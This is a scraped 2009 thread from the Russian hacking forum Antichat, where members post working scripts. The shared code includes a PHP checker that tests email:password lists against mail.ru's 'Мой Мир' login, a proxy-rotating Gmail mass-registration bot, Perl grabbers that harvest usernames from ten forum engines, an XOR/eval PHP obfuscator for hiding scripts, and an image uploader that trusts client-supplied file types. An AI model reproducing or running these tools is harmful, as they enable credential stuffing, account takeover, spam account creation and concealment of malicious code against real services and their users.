ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #751  
Старый 19.04.2009, 01:15
-Hormold-
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
Провел на форуме:
3250478

Репутация: 999


Отправить сообщение для -Hormold- с помощью ICQ
По умолчанию

Простой хостинг картинок. Очень быстро работает
PHP код:
<style>*{overflow-x: hidden; overflow-y: hidden;}
table{text-align:center;}form{width:500px;margin-top:90px;padding:5px;background-color:#fff;border:1px solid #ccc;}</style>
<CENTER>
<FORM method="POST" action="index.php" enctype="multipart/form-data">
<TABLE align="center">
    <TR>
    <TD></TD>
    <TD><B>Бесплатный хостинг картинок</B></TD>
    <TD></TD>
    </TR>
    <TR>
        <TD>Choose a file to upload: </TD>
        <TD><input name="uploadedfile" type="file" /></TD>
        <TD><INPUT TYPE="submit" value="Upload File"></TD>
    </TR>
</TABLE>
<?php
    $upload
=$_FILES["uploadedfile"];
    
$max_size=600000// Byte
    
$serv="http://".$_SERVER["HTTP_HOST"]."/img/";
    
$dir=$_SERVER["DOCUMENT_ROOT"];
    
$dir=$dir."/img/uploaded/";
    
$allow=array("image/png","image/jpeg","image/gif","image/bmp");
    if(
$upload){
        
//name
        
$type=$upload["type"];
        
$name=$upload["name"];
        
$tmp =$upload["tmp_name"];
        
$size=$upload["size"];
        if(
$size==$max_size or $size<$max_size and $tmp){
            if(
in_array($type,$allow)){
                
$get=get($type);
                
$l=md5(microtime()*time());
                
$link=$l[0].$l[1].$l[2].$l[3].$l[4].$l[5].$l[6].$l[7];
                
$dir=$dir.$link.$get;
                
                
$md5=md5(file_get_contents($tmp));
                
$scan=scan($md5);
                if(
$scan){
                    
$link=$scan;
                    
$get="";
                }else{
                    
copy($tmp,$dir);
                }
                
                
                
$link=$serv."uploaded/".$link.$get;
                
            }else{
                
$error="Такое разрешение - запрещено :-(";
            }
        }else{
            
$error="Слишком большой размер или отсутствует файл...";    
        }
    if(
$error){echo "<B>Ошибка:</B><font color=red>$error</font><BR>\n";}else{
        echo 
"<B>Успешно:</B> <font color=green>$link</font><BR>"."<A HREF=\"$link\">$link</A><BR>\n".
        
"<INPUT TYPE=\"text\" NAME=\"msg\" size=\"55\" value=\"$link\" style=\"text-align:center;background:#2B2F34;color: #DDDDDD;font-family:Tahoma, sans-serif;size:2;border:none;\"><BR>\n".
        
"<INPUT TYPE=\"text\" NAME=\"msg\" size=\"55\" value=\"[img]".$link."[/img]\" style=\"text-align:center;background:#2B2F34;color: #DDDDDD;font-family:Tahoma, sans-serif;size:2;border:none;\"><BR>\n";}    
    }
    
?>
</FORM>
</CENTER>
<?php
function scan($md5){
    global 
$dir;
    
$dirs=scandir("uploaded/");
    foreach(
$dirs as $v){
        if(
$v!=="." and $v!==".."){
            
$md=md5(file_get_contents("uploaded/$v"));
            if(
$md==$md5){return $v;}
            
//echo $v."<br>";
        
}
    }
    
}
function 
get($type){
    global 
$allow;
    foreach(
$allow as $v){
        if(
$type==$v){
            list(
$t,$ext)=explode("/",$v);
            return 
".".$ext;
        }
    }
}
?>
 

  #752  
Старый 20.04.2009, 13:45
Taktik
Новичок
Регистрация: 27.06.2008
Сообщений: 22
Провел на форуме:
148226

Репутация: 19
По умолчанию

Можете скинуть парсер ников для phpBB или IPB?
 

  #753  
Старый 20.04.2009, 14:05
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме:
2075230

Репутация: 462
Отправить сообщение для ph1l1ster с помощью ICQ
По умолчанию

IPB:
Код:
#!/usr/bin/perl 
use LWP::UserAgent; 
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (A, ">>nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."index.php?act=members&st=".$count ++."0";
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http:.*index.*?showuser=.*\">(.*)[^Просмотреть .*]<\/a>/g;
print A join "\n", @nicknames;}

phpBB:

Код:
#!/usr/bin/perl 
use LWP::UserAgent; 
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 500
> );
$page=<STDIN>;
chomp($page);
open (A, ">>nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."memberlist.php?start=".$count."0";
$count ++,$count ++,$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\".*?mode=viewprofile.*\" class=\"gen\">(.*)<\/a>/g;
print A join "\n", @nicknames;}

Последний раз редактировалось ph1l1ster; 20.04.2009 в 14:16..
 

  #754  
Старый 20.04.2009, 17:33
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940

Репутация: 1257


Отправить сообщение для mr.The с помощью ICQ
По умолчанию

Ретрекер демоноида, для забаненых украинцев:
http://mrthe.name/2009/04/retracker-demonoid/


да, я пиарю свой блог.
 

  #755  
Старый 20.04.2009, 18:27
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме:
2075230

Репутация: 462
Отправить сообщение для ph1l1ster с помощью ICQ
По умолчанию

Forums Nicknames Grabber

#============================
#Forums nicknames grabber
#C0ded by ph1l1ster
#ICQ: 612-672
#============================


Граббер неймов с форумов:

Код:
1 - vBulletin
2 - phpBB
3 - IPB
4 - SMF
5 - MyBB
6 - Woltlab Burning Board
7 - PunBB
8 - XMBForum
9 - FUDforum
10 - Ikonboard
граббит по дефолтным настройкам, не настроен на хаки типа html страниц. если неграббится: проверьте url, http://site.ru/forum/ (полный путь до форума, со всеми слэшами)
Enter numbers of page witch users - это колличество страниц с именами. (для непонятливых)
Сохраняет всё в тхт.

Код:
#!/usr/bin/perl 
use LWP::UserAgent; 
system('cls');
print qq(
#============================#
#  Forums nicknames grabber  #
#    C0ded by ph1l1ster      #
#       ICQ: 612-672         #
#============================#\n
Forum for parsing?\n\n1 - vBulletin\n2 - phpBB\n3 - IPB
4 - SMF\n5 - MyBB\n6 - Woltlab Burning Board\n7 - PunBB
8 - XMBForum\n9 - FUDforum\n10 - Ikonboard\n\n> );
$do = <STDIN>;chomp($do);
#vbulletin
if ($do == 1){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (VB, ">>vbulletin_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.php?do=getall&order=asc&sort=username&page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?u=.*\">(.*)<\/a>/g;
print VB join "\n", @nicknames;}}
#phpbb
if ($do == 2){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 500
> );
$page=<STDIN>;
chomp($page);
open (PHPBB, ">>phpbb_nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."memberlist.php?start=".$count."0";
$count ++,$count ++,$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\".*?mode=viewprofile.*\" class=\"gen\">(.*)<\/a>/g;
print PHPBB join "\n", @nicknames;}}
#ipb
if ($do == 3){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (IPB, ">>ipb_nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."index.php?act=members&st=".$count ++."0";
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http:.*index.*?showuser=.*\">(.*)[^Просмотреть .*]<\/a>/g;
print IPB join "\n", @nicknames;}}
#smf
if ($do == 4){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 500
> );
$page=<STDIN>;
chomp($page);
open (SMF, ">>smf_nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."index.php?action=mlist;start=".$count."0";
$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http:.*index.*?action=profile.*\" title=\".*\">(.*)<\/a>/g;
print SMF join "\n", @nicknames;}}
#mybb
if ($do == 5){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (MYBB, ">>mybb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.php?page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?action=profile.*\">(.*)<\/a>/g;
print MYBB join "\n", @nicknames;}}
#Woltlab Burning Board
if ($do == 6){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (WBB, ">>wmm_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."index.php?page=MembersList&pageNo=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http.*index.*?page=User.*\" title=\".*\">(.*)<\/a><\/p><p class=\"/g;
print WBB join "\n", @nicknames;}}
#PunBB
if ($do == 7){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (PUNBB, ">>punbb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."userlist.php?p=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"profile.*?id=.*\">(.*)<\/a><\/td>/g;
print PUNBB join "\n", @nicknames;}}
#XMB
if ($do == 8){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (XMB, ">>xmb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."misc.php?action=list&page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?action=viewpro.*member=.*\">(.*)<\/a>/g;
print join "\n", @nicknames;}}
if ($do == 9){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (XMB, ">>xmb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."index.php?t=finduser&&&start=".$count."0";
$count ++,$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"index.*usrinfo.*id=.*\">(.*)<\/a><\/td>/g;
print join "\n", @nicknames;}}
#Ikonboard
if ($do == 10){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (IKB, ">>ikb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.cgi?page=".$count++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"profile.*action=show.*member=.*\"><b>(.*)<\/b><\/a>/g;
print IKB join "\n", @nicknames;}}
 

  #756  
Старый 20.04.2009, 18:34
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

php криптор от KALLISTO v1.2
PHP код:
<pre><?  
    
// 2:52 27.07.2007  
    #######################################  
    #######################################  
    ########     PHPCrypt     ####### public  
    ########     Ver. 1.2     #######  
    #######################################  
    #######################################  
    ########     KALLISTO     #######   
    ########     98009800     #######   
    #######################################  
    #######################################  

    
$jsCrypt     0;            // 1 - on, 0 - off ява крипт  
    
$input     "1.php";        // файл который надо криптануть  
    
$output     "index.php";        // выходяший криптованный файл  


    #################################  
    ///  
    
$f=join(""file($input));  
    
$key rand(1,100);  
    
$find 0;  
    
$start_pos strpos($f"<?php");  
    if(
$start_pos === false )  
    {  
        
$start_pos strpos($f"<?");  
        if(
$start_pos !== false )  
        {  
            
$find=1;  
            
$fsubstr($f$start_pos+2strlen($f));  
        }  
    }  
    else  
    {  
        
$find=1;  
        
$fsubstr($f$start_pos+5strlen($f));  
    }  

    if(
$find==0) exit("Крипт скрипта неполучится.");  
    
$start_pos strrpos($f"?>");  
    if(
is_int($start_pos))$f=substR($f0$start_pos);  

    
$new '';$len=strlen($f);  
    for(
$i=0;$i<$len;$i++)  
    {  
        
$new .= chr(ord($f[$i]) ^ $key);  
    }  
    
$new str_replace("<?""[t1]"$new);  
    
$new str_replace("'",  "[t3]"$new);  

    
$jsPre='';  
    
$jsAfter='';  

    if(
$jsCrypt == 1)  
    {  
        
$jsPre="  
function jsCrypt(\$buffer)   
{  
    \$return = \$buffer;  
    \$new = '';  
    for(\$i=0;\$i<strlen(\$buffer);\$i++)  
    {  
        \$tmp = ord(\$buffer[\$i]);  
        if(\$tmp<100) \$tmp = \"0\".\$tmp;  
        if(\$tmp<10) \$tmp = \"0\".\$tmp;  
        \$new .= \$tmp;  
    }  
    \$return = \"<script>  
    var len = \".strlen(\$buffer).\";  
    var str = '\$new';  
    var tmp = '';  

    for(i=0;i<len;i++)  
    {  
        // String.fromCharCode(str.substr(i*3, 3) )  

        document.write(  String.fromCharCode(str.substr(i*3, 3) ) );  
    }  
    </script>\";  
    return \$return;  

}  
ob_start(\"jsCrypt\");"
;  
        
$jsAfter="ob_end_flush();";  


    }  



$code "<?  
$jsPre  
\$key=
$key;  
\$res ='
$new';  
\$str=str_replace(\"[t1]\", \"<?\", \$res);  
\$str=str_replace(\"[t3]\", \"'\", \$str);  
\$len=strlen(\$str);  
\$ev='';  
for(\$i=0;\$i<\$len;\$i++)  
\$ev .= chr(ord(\$str[\$i]) ^ \$key);  
eval(\$ev);  
$jsAfter;  
?>"
;  

@
fwritefopen($output"w"), $code) or die("Не удалось создать файлик...");  
?>  
</pre>
 

  #757  
Старый 21.04.2009, 00:44
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

Скрипт для рассылки по контакт листу mail.ru agent. Особо не тестил, ибо нет аккаунтов.

http://kaimi.ru/wp-content/uploads/2009/04/mrim.rar
 

  #758  
Старый 21.04.2009, 01:35
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

gmail регер с ручным вводом капчи

PHP код:
<?php  
       $password 
"vv12345";
       
set_time_limit(300);

       function 
generateCode($length=6) {
           
$chars "abcdefghijklmnopqrstuvwxyz";
           
$code "";
           
$clen strlen($chars) - 1
           while (
strlen($code) < $length) {
               
$code .= $chars[mt_rand(0,$clen)];
              }
           return 
$code;                    
       }
       function 
generateDigits($length=6) {
           
$chars "0123456789";
           
$code "";
           
$clen strlen($chars) - 1
           while (
strlen($code) < $length) {
               
$code .= $chars[mt_rand(0,$clen)]; 
              }
           return 
$code;
       }


       
$proxies;
       
$proxiesFile fopen("proxies.txt","r+");
          while(!
feof($proxiesFile)){
       
$proxy fgets($proxiesFile,4096);
       
$delimPos strpos($proxy":");
       
$ip substr($proxy0$delimPos);
       
$port substr($proxy$delimPos+1strlen($proxy));        
               
$proxies[]= array($ip,$port);
   }

       
$lastURL="";
   function 
getPageWithProxy($URL,$data,$referer,$badString,$proxyType='') {
           global 
$lastURL;
       global 
$proxies
           
$proxyArrSize count($proxies);

       
$cp curl_init($URL);
       
$useragent="Mozilla/5.0 (Windows; U; Windows NT 5.0; us; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.666";
       
curl_setopt($cpCURLOPT_USERAGENT$useragent);
       
curl_setopt($cpCURLOPT_RETURNTRANSFER,1);
       
curl_setopt($cpCURLOPT_CONNECTTIMEOUT,3);
       
curl_setopt($cpCURLOPT_FOLLOWLOCATION,1);
       
curl_setopt($cpCURLOPT_SSL_VERIFYPEERfalse);
       
curl_setopt($cpCURLOPT_SSL_VERIFYHOST2);
               
curl_setopt($cpCURLOPT_VERBOSE1);

       
$cookieFilename "cookies.txt";
               if(
substr(PHP_OS03) == 'WIN' && strpos($cookieFilename,"/")===FALSE){
           
$cookieFilename str_replace('\\','/'getcwd().'/'.$cookieFilename);
       }

       
       
curl_setopt($cpCURLOPT_COOKIEJAR$cookieFilename);
       
curl_setopt($cpCURLOPT_COOKIEFILE$cookieFilename);
       
       if(
$data!=""){
               
curl_setopt($cpCURLOPT_POST1);
           
curl_setopt($cpCURLOPT_POSTFIELDS,$data);
       }
       if(
$referer!=""){
               
curl_setopt($cpCURLOPT_REFERER$referer);
       }
       if(
$proxyType=="socks4"){
           
curl_setopt($cp,CURLOPT_PROXYTYPE,4);
       }

       
$success false;
       for(
$i=0$i<2*$proxyArrSize$i++){
               
$num rand(0,$proxyArrSize-1);
           
$ip $proxies[$num][0];
           
$port $proxies[$num][1];
                       
curl_setopt($cpCURLOPT_PROXY"$ip".":"."$port");
           
$code curl_exec($cp);        
                       
$lastURL curl_getinfo($cp,CURLINFO_EFFECTIVE_URL);

           if(
curl_errno($cp)==&&  curl_getinfo($cp,CURLINFO_HTTP_CODE)==200){
                   
$badPos 0;
                   if(
$badString != ""){
                   
$badPos strpos($code$badString);                        
               }
               if(
$badPos==0){
                   
$success true;
                   break;
               }            
           }
       }

       
curl_close($cp);
               if (
$success == true){
           return 
$code;                    
       }else{
           return 
false;
       }
   }
if(!isset(
$_POST["go"])){
   
$code getPageWithProxy("http://gmail.com","","","","socks4");
   
$code getPageWithProxy("http://mail.google.com/mail/signup","",$lastURL,"","socks4");
       
$doc = new DOMDocument();
   
$doc->loadHTML($code);
                                                                       

   function 
getInputByName($domDocument,$name){
           
$inputList $domDocument->getElementsByTagName("input");
       for(
$c=0$c<$inputList->length$c++){
               
$atts $inputList->item($c)->attributes;
           if(
$atts->getNamedItem("name")->nodeValue==$name){
               return 
$atts->getNamedItem("value")->nodeValue;
               break;
       };
       }
   }


   
$captchaURL getInputByName($doc,"newaccounturl");
   
$continue getInputByName($doc,"continue");

   
$data  "continue=".urlencode($continue)."&";
   
$data  $data."service=mail&type=2&t=null&";
       
$data  $data."dsh=".getInputByName($doc,"dsh")."&";
       
$data  $data."edk=gmail.com&p=&";
   
$data  $data."Passwd=$password&PasswdAgain=$password&PersistentCookie=no&";
       
$data  $data."rmShown=1&smhhk=1&&smhck=1&nshk=1&selection=What+is+your+primary+frequent+flyer+number&";
   
$data  $data."ownquestion=&IdentityAnswer=".generateDigits(rand(2,3))."&SecondaryEmail=&hl=en&loc=US&";
   
$data  $data."newaccounttoken=".getInputByName($doc,"newaccounttoken")."&";
   
$data  $data."newaccounturl=".urlencode($captchaURL)."&";
   
$data  $data."newaccounttoken_audio=".getInputByName($doc,"newaccounttoken_audio")."&";
   
$data  $data."newaccounturl_audio=".urlencode(getInputByName($doc,"newaccounturl_audio"))."&";
       
$data  $data."program_policy_url=".urlencode(getInputByName($doc,"program_policy_url"))."&";
       
$data  $data."privacy_policy_url=".urlencode(getInputByName($doc,"privacy_policy_url"))."&";
       
$data  $data."requested_tos_location=US&requested_tos_language=en&";
   
$data  $data."served_tos_location=US&served_tos_language=en&";
   
$data  $data."submitbutton=".urlencode(getInputByName($doc,"submitbutton"));
?>
<html>
<head/>
<body>
<form method="post" action="gmreger.php">
   <input type="hidden" name="continue" value="<?php echo $continue ?>" />
   <input type="hidden" name="data" value="<?php echo $data ?>" />
   <input type="hidden" name="lastURL" value="<?php echo $lastURL ?>" />
   <table>
   <tr>
       <td>
           Enter keyword:
       </td>
       <td>
           <input name="keyword" value=""></input>
       </td>
   </tr>
   <tr>
       <td>
           &nbsp;
       </td>
       <td>
           <img alt="captcha" src="<?php echo $captchaURL ?>" />
       </td>
   </tr>
   <tr>
       <td>
           Enter captcha:
       </td>
       <td>
           <input name="captcha"></input>
       </td>
   </tr>
   <tr>
       <td>
           &nbsp;
       </td>
       <td>
               <input type="submit" name="go" width="150" value="go"/>
       </td>
   </tr>
   </table>
</form>
</body>
</html>
<?php
}else{                                
   
$words preg_split('/ /',$_POST["keyword"]);
       
   
$firstname $words[0];
   
$lastname;
   
$login substr($firstname,0,9);
   if(
count($words)>1){
       
$lastname $words[1];
           
$login $login substr($lastname,0,4);
   }else{
           
$lastname $words[0];
           
$login $login substr($lastname,1,7);
   }
   
$login strtolower($login generateCode(2).generateDigits(2));

          
$data  "FirstName=".$firstname."&LastName=".$lastname."&";
   
$data  $data."UsernameSelector=header&Email=".$login."&";
   
$data  $data."newaccountcaptcha=".$_POST["captcha"]."&";
   
$data  $data.$_POST["data"];

   
$regURL "https://www.google.com/accounts/CreateAccount?service=mail&".urlencode($_POST["continue"])."&type=2";
       echo 
getPageWithProxy($regURL,$data,$_POST["lastURL"],"","socks4");
}
?>
 

  #759  
Старый 21.04.2009, 18:23
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

Небольшая функция для расшифровки простых обфускаций, например как тут или тут

PHP код:
function decrypt($data,$filename='',$times=1)
{
    error_reporting(0);

    function bulk($str)
    {
        $str = preg_replace('~^\?\>~','',$str);
        return str_ireplace(array('<?php','<?','?>','eval','__FILE__'),array('','','/*','echo','$_FILE__'),$str);
    }

    $f = $data;
    $_FILE__=$filename;
    
    for ($i=0;$i<$times;$i++)
    {
        ob_start();
        eval(bulk($f));
        $f = ob_get_contents();
        ob_end_clean(); 
    }
    return preg_replace(array('~^\?\>~','~\<\?$~'),'',$f);
}
Способ применения - $data - содержимое интересующего скрипта, например file_get_contents('encrypted.php')
$filename - путь до файла, некоторые защиты привязываются к __FILE__ например
$count - количество раз для снятия защиты, подбирается экспериментально, например для DLE - это 1, а для RedButton VVS Edition 5 или 6.

Последний раз редактировалось Gifts; 21.04.2009 в 18:27..
 

  #760  
Старый 22.04.2009, 11:13
Shaitan-Devil
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме:
3009843

Репутация: 204
По умолчанию

Чекер акков соц. сети "Мой Мир"
PHP код:
<?//СПС mr.grek 
set_time_limit(0); 
$accs file ("accs.txt"); 
$unaccs array_unique ($accs); 
$in count $accs ); 
$all count $unaccs ); 
for(
$i 0$i $all;$i ++) 

$buffer trim($unaccs[$i]); 
list (
$email$pass) = explode(":"$buffer); 
list (
$login$domain) = explode("@"$email); 
$url "http://my.mail.ru/cgi-bin/auth"
$referer "http://my.mail.ru/cgi-bin/login?page=http%3A%2F%2Fmy.mail.ru%2F"

$ch curl_init(); 
curl_setopt($chCURLOPT_URL$url); 
curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
curl_setopt($chCURLOPT_POST1); 
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
curl_setopt($chCURLOPT_POSTFIELDS"Login=$login&ampomain=$domain&Password=$pass"); 
curl_setopt($chCURLOPT_COOKIEJAR$_SERVER['DOCUMENT_ROOT'].'/cookie.txt'); 
$result curl_exec($ch); 

if(
preg_match("#Новое сообщение#"$result)) 

$fp fopen("good.txt""a+"); 
fwrite($fp$buffer); 

else 

$fp fopen("bad.txt""a+"); 
fwrite($fp$buffer); 


?>
В accs.txt ложим акии формата
login@mail.ru:12345

Последний раз редактировалось Shaitan-Devil; 22.04.2009 в 11:37..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ